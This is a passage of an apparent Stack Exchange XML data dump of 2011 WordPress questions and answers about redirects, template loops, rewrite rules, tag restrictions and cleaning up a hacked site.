looking to do is have them taken directly to that intended page upon filling out the form or by clicking the bypass link. I have looked everywhere for this and all I can find is information on how to redirect a user back to their intended page after logging in. I know how to do that, this is a bit more complex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The squeeze page is a simple static HTML page that uses Javascript to set the cookies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function setCookie(name, value, expires, path, domain, secure) {&#xA;document.cookie = name + &quot;=&quot; + escape(value) +&#xA;((expires) ? &quot;; expires=&quot; + expires.toGMTString() : &quot;&quot;) +&#xA;((path) ? &quot;; path=&quot; + path : &quot;&quot;) +&#xA;((domain) ? &quot;; domain=&quot; + domain : &quot;&quot;) +&#xA;((secure) ? &quot;; secure&quot; : &quot;&quot;);&#xA; }&#xA;&#xA;function setsplash() {&#xA;var exp = new Date();&#xA;var expDays = 365;&#xA;exp.setTime(exp.getTime() + (expDays * 24 * 60 * 60 * 1000));&#xA;setCookie(&quot;splash&quot;, &quot;1&quot;, exp, &quot;/&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;sub-btn-join&quot; type=&quot;submit&quot; value=&quot;&quot; onclick=&quot;setsplash()&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am open to using whatever works, but Javascript or jQuery would be ideal. Hopefully one of you can help me out on this. I have wasted a lot of time on this.&lt;/p&gt;&#xA;" OwnerUserId="8024" LastActivityDate="2011-08-19T04:57:07.363" Title="Proceed to intended URL after squeeze page" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;redirect&gt;" />
  <row Id="26309" PostTypeId="2" ParentId="26307" CreationDate="2011-08-19T05:37:39.760" Score="1" ViewCount="" Body="&lt;p&gt;This might help you for what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/adminimize/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-19T05:37:39.760" CommentCount="1" />
  <row Id="26310" PostTypeId="1" AcceptedAnswerId="26311" CreationDate="2011-08-19T06:13:41.243" Score="0" ViewCount="31" Body="&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&#xA;Page displays a list of titles for a custom post type (video) with a selected &quot;category&quot; (in the taxonomy its called the subject). For example videos with the subject of &quot;creative&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&#xA;If there are titles present that match the the criteria then the list is displayed correctly but if there are no titles then the message &quot;No Titles Found&quot; fails to appear on the page. In other words the echo statement is failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $subject = $_GET['subject'];&#xA;&#xA;if ($subject==&quot;&quot;) $subject = 'creativity';?&amp;gt;&amp;lt;?php /*If there is no value returned then the loop defaults to searching for items beginning with 'Creativity' since its the first term.*/ ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Video Titles For &amp;lt;span class=&quot;colorBlack&quot;&amp;gt;&amp;lt;?php echo $subject ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt; &amp;lt;?php     /*This needs to be outside of the loop*/?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$loop = new WP_Query( array( 'post_type' =&amp;gt; 'video', 'subject' =&amp;gt; $subject,     'posts_per_page' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts() ):?&amp;gt;&#xA;    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();?&amp;gt;&#xA;                            &amp;lt;div class=&quot;glossarybody&quot;&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                             &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile;&#xA;      else: echo 'No Titles Found';&#xA;endif;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the codex the form of the 'if else is given as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( have_posts() ) :&#xA;while ( have_posts() ) : the_post();&#xA;    // Your loop code&#xA;endwhile;&#xA;else :&#xA;echo wpautop( 'Sorry, no posts were found' );&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I seem to have the correct syntax and since the 'if' section functions correctly I assume it has correct syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any pointers as to where I'm going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2011-08-19T07:14:35.370" Title="if/Else have_posts Else fails to echo message to page" Tags="&lt;conditional-content&gt;" AnswerCount="2" />
  <row Id="26311" PostTypeId="2" ParentId="26310" CreationDate="2011-08-19T06:50:19.137" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;$loop-&amp;gt;have_posts()&lt;/code&gt; on if statement. See if it fixes the issue.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-19T06:50:19.137" CommentCount="5" />
  <row Id="26312" PostTypeId="2" ParentId="26310" CreationDate="2011-08-19T07:14:35.370" Score="0" ViewCount="" Body="&lt;p&gt;Why use &lt;code&gt;WP_Query&lt;/code&gt;? I think you can just use &lt;code&gt;get_posts&lt;/code&gt;.&lt;br&gt;&#xA;I've not tested using args that is not in the list, but it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I would do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA;  'subject' =&amp;gt; $subject,&#xA;  'post_type' =&amp;gt; 'video',&#xA;  'post_status' =&amp;gt; 'publish',&#xA;  'posts_per_page' =&amp;gt; 10&#xA;);&#xA;&#xA;$videos = get_posts( $args );&#xA;&#xA;$has_video = true;&#xA;&#xA;// Loop through the posts&#xA;foreach ($videos as $video) :  setup_postdata($video); ?&amp;gt; &#xA;&#xA;  // We assume  that all posts have a title.&#xA;  if(!empty(get_the_title()) {&#xA;    &amp;lt;div class=&quot;glossarybody&quot;&amp;gt;&#xA;      &amp;lt;?php the_title(); ?&amp;gt;   &#xA;      &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  } else {&#xA;    $has_video = false;   &#xA;  }&#xA;endforeach; &#xA;&#xA;if(!$has_video)&#xA;  _e('Sorry, no posts were found');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-19T07:14:35.370" CommentCount="1" />
  <row Id="26313" PostTypeId="2" ParentId="22175" CreationDate="2011-08-19T07:15:20.790" Score="-2" ViewCount="" Body="&lt;p&gt;Never had this problem but after looking around a bit I found something. You might wanna try and go to wp-admin/includes/media.php and change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $send )&#xA;                $send = &quot;&amp;lt;input type='submit' class='button' name='send[$attachment_id]' value='&quot; . esc_attr__( 'Insert into Post' ) . &quot;' /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! $send )&#xA;                $send = &quot;&amp;lt;input type='submit' class='button' name='send[$attachment_id]' value='&quot; . esc_attr__( 'Insert into Post' ) . &quot;' /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however .. don't see this as a permanent fix because editing core files is a bad thing.&#xA;What you could also do is disable all plugins to see if there is something that conflicts with your wordpress installation&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2011-08-19T07:15:20.790" CommentCount="1" />
  <row Id="26314" PostTypeId="2" ParentId="26277" CreationDate="2011-08-19T07:30:13.090" Score="0" ViewCount="" Body="&lt;p&gt;If Ashframe's solution doesn't work, try upgrading step by step, for example, first to 2.8, to 3.0, 3.1 and to 3.2.&#xA;Although I don't know where to get the old version of WordPress.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-19T07:30:13.090" CommentCount="1" />
  <row Id="26315" PostTypeId="1" CreationDate="2011-08-19T07:40:52.370" Score="0" ViewCount="29" Body="&lt;p&gt;I had asked this question in a different way too, but no one replied there! I guess I should rephrase it here.&lt;br&gt;&#xA;My custom post is 'company'.&#xA;I'm trying to add a custom rewrite rule. When the 'url &lt;a href=&quot;http://domain..com/company/company-title-slug/replies&quot; rel=&quot;nofollow&quot;&gt;http://domain..com/company/company-title-slug/replies&lt;/a&gt;', is accessed, I want redirect to a custom template(applied to a page named 'replies') with all the comments for this custom post listed. If I add the comment id in the url like this 'url &lt;a href=&quot;http://domain..com/company/company-title-slug/replies/23&quot; rel=&quot;nofollow&quot;&gt;http://domain..com/company/company-title-slug/replies/23&lt;/a&gt;', I want to redirect to another page with a custom template applied for displaying a single comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I did for accessing the url... 'http://domain.com/replies/reply_id', and it works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule('^replies/(.*)?$','index.php?pagename=replies&amp;amp;reply_id=$matches[1]','top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please guide me in the proper direction, having a real hard time with the url rewrite stuff!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-20T02:09:23.600" Title="Need help with a custom rewrite rule - http://domain/custom post slug/replies" Tags="&lt;url-rewriting&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="26316" PostTypeId="2" ParentId="20321" CreationDate="2011-08-19T07:42:06.410" Score="0" ViewCount="" Body="&lt;p&gt;Awful hack, but it'll work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the header, where you want the JSON object, place a string and make it sure, that it's going to be unique. (generate a uniqid() for example). &lt;/li&gt;&#xA;&lt;li&gt;In the loop, gather the images, and create the JSON string in a variable.&lt;/li&gt;&#xA;&lt;li&gt;In your template, at the very begining of the header, place . This will turn off the output and instead it's going to read all output into buffer.&lt;/li&gt;&#xA;&lt;li&gt;Since you have no output, you can use the whole rendered page as a string. Read it at the very end of the template (at the end of the footer) getting it with .&lt;/li&gt;&#xA;&lt;li&gt;Replace the unique string with the JSON string. Use a simple $allpage = str_replace(to_search,to_replace_for,the_string).&lt;/li&gt;&#xA;&lt;li&gt;Print the buffered string. (echo $allpage).&lt;/li&gt;&#xA;&lt;li&gt;Disable output buffering and clear the object to save memory leaks. ( ob_end_flush() )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As I said, awful. &#xA;You'd be better, if you'd simply but the JSON at the end of the page, for example, into the footer, but gather the images in the loop into a string still stands.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-19T07:42:06.410" />
  <row Id="26317" PostTypeId="2" ParentId="22030" CreationDate="2011-08-19T08:03:03.807" Score="0" ViewCount="" Body="&lt;p&gt;You could check for this cookie &lt;code&gt;wp-settings-1&lt;/code&gt; it lasts for 1 day and then also check if &lt;code&gt;wordpress_test_cookie&lt;/code&gt; is available.  Or you could just write a simple plugin that checks if the user is logged in and adds a longer term cookie to check against.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-08-19T08:03:03.807" />
  <row Id="26318" PostTypeId="1" CreationDate="2011-08-19T06:51:11.830" Score="0" ViewCount="13" Body="&lt;p&gt;I am trying to build a site where users can submit their content, but has to be voted lets say 10 votes by fellow users to approve the post and make it appear on the home page. &#xA;If the post is bad, gets around like 25 down votes, remove the post.&lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-08-19T08:26:29.427" Title="how to set a Vote threshold for a post to appear in frontpage" Tags="&lt;wordpress.org&gt;" />
  <row Id="26320" PostTypeId="1" AcceptedAnswerId="26323" CreationDate="2011-08-19T08:52:05.223" Score="1" ViewCount="79" Body="&lt;p&gt;My site, &lt;a href=&quot;http://www.cancer-study.com&quot; rel=&quot;nofollow&quot;&gt;http://www.cancer-study.com&lt;/a&gt;, has been hacked, and I can't login to wp-admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you say how it has been hacked and what can I do to undo the damage?&#xA;I have access to the host.&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-08-21T10:05:48.100" Title="How was my WP site hacked" Tags="&lt;hacked&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26322" PostTypeId="1" CreationDate="2011-08-19T09:28:50.657" Score="0" ViewCount="7" Body="&lt;p&gt;How to prevent users to create new tags in the publication of the post, leaving only the use of existing tags in a blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish that they could enter the tags, but joined in the posts only those who already have a blog. This is to stop duplication, synonyms, and just creating unnecessary tags. I would like to be able to create tags just administrator, and others could use them only.&lt;/p&gt;&#xA;" OwnerUserId="8028" LastActivityDate="2011-08-19T09:28:50.657" Title="How to prevent users to create new tags?" Tags="&lt;tags&gt;" />
  <row Id="26323" PostTypeId="2" ParentId="26320" CreationDate="2011-08-19T09:30:58.310" Score="5" ViewCount="" Body="&lt;p&gt;If you do a Google search, you will find many topics on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First read this: &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/FAQ_My_site_was_hacked&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then take a look at these links:&lt;br&gt;&#xA;&lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2009/hacked-wordpress-backdoors/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/268083#post-1065779&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/268083#post-1065779&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to your database, login using PHPMyAdmin and change admin username / password, delete users you don't know and change password for rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then start the process of backing up data and do a clean install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note.&lt;/strong&gt; If you can't find out how they got access to your site, doing a clean install and putting back data, will still leave whatever hole open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also not that backdoors (links / code) could have been added to your posts, so all content must be checked before you import exported data.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-08-21T10:05:48.100" LastActivityDate="2011-08-21T10:05:48.100" CommentCount="1" />
  <row Id="26325" PostTypeId="1" CreationDate="2011-08-19T10:38:10.163" Score="0" ViewCount="15" Body="&lt;p&gt;This is very embarassing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add &lt;code&gt;wp_tag_cloud&lt;/code&gt; to my navigation in list form, it shows as I need it (like a sub nav). If you then click a tag what template is then used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding &lt;strong&gt;taxonomy.php&lt;/strong&gt;, &lt;strong&gt;archive.php&lt;/strong&gt; and &lt;strong&gt;tag.php&lt;/strong&gt; but it doesn't seem to use those and i'm now at a loss!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance is much appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8006" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-19T12:08:04.157" LastActivityDate="2011-08-19T12:08:04.157" Title="which template does wp_ tag_ cloud point to?" Tags="&lt;template&gt;&lt;tags&gt;&lt;cloud&gt;" CommentCount="11" />
  <row Id="26326" PostTypeId="1" CreationDate="2011-08-19T10:40:44.730" Score="0" ViewCount="7" Body="&lt;p&gt;Is there a recommend for Post Series plugin? I brought one from code canyon but its lacks of seo thinking (there is no option to put a Meta title in and its looks not so good)&#xA;Ill happy to get recommends&lt;/p&gt;&#xA;" OwnerUserId="8031" LastActivityDate="2011-08-19T10:40:44.730" Title="Post Series Plugin" Tags="&lt;plugins&gt;&lt;posts&gt;" />
  <row Id="26328" PostTypeId="1" AcceptedAnswerId="26336" CreationDate="2011-08-19T11:45:07.710" Score="-2" ViewCount="22" Body="&lt;p&gt;Where should I amend to make this happen? I should add somewhere target=&quot;blank_&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-19T13:30:55.163" Title="How to make that all permalinks would open in a new window?" Tags="&lt;wordpress.com&gt;" AnswerCount="1" />
  <row Id="26329" PostTypeId="1" CreationDate="2011-08-19T11:58:32.133" Score="-2" ViewCount="25" Body="&lt;p&gt;I want to add a new div on wordpress index.php thumbnails. When hovered a new div should cover the thumbnail. The problem is that whatever I add to index.php it will affect all posts, so if a user hovers one thumbnail the effect will hit all posts thumbnails. Any ideas on how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a glimpse of what I am building at techgeek.lt/naudinga/&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-19T11:58:32.133" Title="How to display different styles on index posts in wordpress pages?" Tags="&lt;wordpress.com&gt;" />
  <row Id="26330" PostTypeId="1" CreationDate="2011-08-19T12:17:37.673" Score="0" ViewCount="35" Body="&lt;p&gt;Is it possible to limit a CPT to just one? What I'd like to accomplish is creating a CPT called &quot;Home&quot;. It will manage any and all elements on the home page. I want to program it so when the user clicks on the &quot;Manage Home Page&quot; link they will go straight to the edit post screen. They will skip over the &quot;All Post&quot; screen. Does anyone think this is even possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe someone has an idea to accomplish this goal a completely different?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-08-19T12:48:00.020" Title="how to only have one custom post type post?" Tags="&lt;custom-post-types&gt;&lt;admin-menu&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="26333" PostTypeId="2" ParentId="26330" CreationDate="2011-08-19T12:42:42.613" Score="0" ViewCount="" Body="&lt;p&gt;May be this plugin could help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.bainternet.info/2011/posts-creation-limits&quot; rel=&quot;nofollow&quot;&gt;Author's site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;WordPress plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8032" LastActivityDate="2011-08-19T12:42:42.613" CommentCount="1" />
  <row Id="26334" PostTypeId="2" ParentId="26330" CreationDate="2011-08-19T12:48:00.020" Score="0" ViewCount="" Body="&lt;p&gt;I would suggest creating a Theme Options page for this purpose.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/theme-options&quot;&gt;http://wordpress.stackexchange.com/questions/tagged/theme-options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_options_page&quot; rel=&quot;nofollow&quot;&gt;add_options_page()&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there anything special in the post edit screen that you want to use that would be hard to get into the Theme Options page?&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-08-19T12:48:00.020" CommentCount="1" />
  <row Id="26335" PostTypeId="1" AcceptedAnswerId="26344" CreationDate="2011-08-19T13:17:03.460" Score="0" ViewCount="29" Body="&lt;p&gt;very strange problem, that happens only in one specific template. part of the  part &quot;leaks&quot; into the  tag - and I can't figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &quot;header.php&quot; code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;he&quot;&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot;  content=&quot;IT=edge,chrome=IE8&quot;&amp;gt;&#xA;  &amp;lt;title&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt; &amp;lt;?php if ( is_single() ) { ?&amp;gt; &amp;lt;?php } ?&amp;gt; &amp;lt;?php wp_title(); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;  &amp;lt;meta name=&quot;generator&quot; content=&quot;WordPress &amp;lt;?php bloginfo('version'); ?&amp;gt;&quot; /&amp;gt; &amp;lt;!-- leave this for stats --&amp;gt;&#xA;  &amp;lt;!-- the site meta data for search--&amp;gt;&#xA;  &amp;lt;meta name=&quot;description&quot; content=&quot;****&quot; /&amp;gt; &#xA;  &amp;lt;meta name=&quot;keywords&quot; content=&quot;****&quot; /&amp;gt;&#xA;  &amp;lt;!--end of meta data--&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;RSS 2.0&quot; href=&quot;&amp;lt;?php bloginfo('rss2_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;alternate&quot; type=&quot;text/xml&quot; title=&quot;RSS .92&quot; href=&quot;&amp;lt;?php bloginfo('rss_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;alternate&quot; type=&quot;application/atom+xml&quot; title=&quot;Atom 0.3&quot; href=&quot;&amp;lt;?php bloginfo('atom_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;pingback&quot; href=&quot;&amp;lt;?php bloginfo('pingback_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;?php wp_get_archives('type=monthly&amp;amp;format=link'); ?&amp;gt;&#xA;  &amp;lt;?php wp_head(); ?&amp;gt;&#xA;  &amp;lt;!--IE specific bugs some of this doesn't work yet --&amp;gt;&#xA;  &amp;lt;!--[if lt IE 9]&amp;gt;&#xA;  &amp;lt;script src=&quot;//html5shim.googlecode.com/svn/trunk/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;style type=&quot;text/css&quot; media=&quot;screen&quot;&amp;gt;&#xA;    body {&#xA;      behavior:url(&quot;&amp;lt;?php bloginfo('template_url');?&amp;gt;/csshover3.htc&quot;);&#xA;    }&#xA;&#xA;    #booklist li:hover {&#xA;              -moz-box-shadow: 1px 1px 5px #999;&#xA;              -webkit-box-shadow: 1px 1px 5px #999;&#xA;              box-shadow: 1px 1px 5px #999;&#xA;              behavior:url(&quot;&amp;lt;?php bloginfo('template_url');?&amp;gt;/PIE.php&quot;);&#xA;&#xA;    }&#xA;  &amp;lt;/style&amp;gt;&#xA;&#xA;  &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--google analytics code--&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;  var _gaq = _gaq || [];&#xA;  _gaq.push(['_setAccount', 'UA-****-1']);&#xA;  _gaq.push(['_trackPageview']);&#xA;&#xA;  (function() {&#xA;    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xA;    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xA;    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xA;  })();&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!--end of google analytics code--&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;&#xA;&amp;lt;header&amp;gt;&#xA;&amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;&amp;lt;!-- בשביל להחזיר את הכותרת ותיאור הבלוג לכאן להוריד את סימן ההערה מהhtml&#xA;    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_settings('home'); ?&amp;gt;/&quot;&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php bloginfo('description'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;--&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;nav id=&quot;menu&quot;&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li style=&quot;zoom:1&quot; class=&quot;&amp;lt;?php if (is_home()) { ?&amp;gt;current_page_item&amp;lt;?php } else { ?&amp;gt;page_item&amp;lt;?php } ?&amp;gt;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot; title=&quot;Home&quot;&amp;gt;ראשי&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=1'); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;!--&amp;lt;div id=&quot;menu&quot;&amp;gt;&amp;lt;/div&amp;gt;--&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the template code (the relevant part):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;!--?php /* Template Name: bookstore*/ ?--&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- בשביל להחזיר את שם העמוד צריך לבטל את סימן ההערה ב# --&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php #the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&amp;lt;!--&amp;lt;h1 style=&quot;text-align: center; &quot;&amp;gt;&#xA;&amp;lt;strong&amp;gt;&#xA;&amp;lt;/strong&amp;gt;&#xA;&amp;lt;/h1&amp;gt;--&amp;gt;                &amp;lt;?php the_content('&amp;lt;p&amp;gt;Continue reading &amp;amp;raquo;&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php //if page is split into more than one&#xA;                    link_pages('&amp;lt;p&amp;gt;Pages: ', '&amp;lt;/p&amp;gt;', 'number'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the leaking part is everthing after the link rel=&quot;prev&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;be glad for any help with this&lt;/p&gt;&#xA;" OwnerUserId="6129" LastEditorUserId="6129" LastEditorDisplayName="" LastEditDate="2011-08-19T15:44:19.963" LastActivityDate="2011-08-19T15:44:19.963" Title="wordpress header leaks into body in a specific template" Tags="&lt;page-template&gt;&lt;headers&gt;&lt;get-template-part&gt;" AnswerCount="1" />
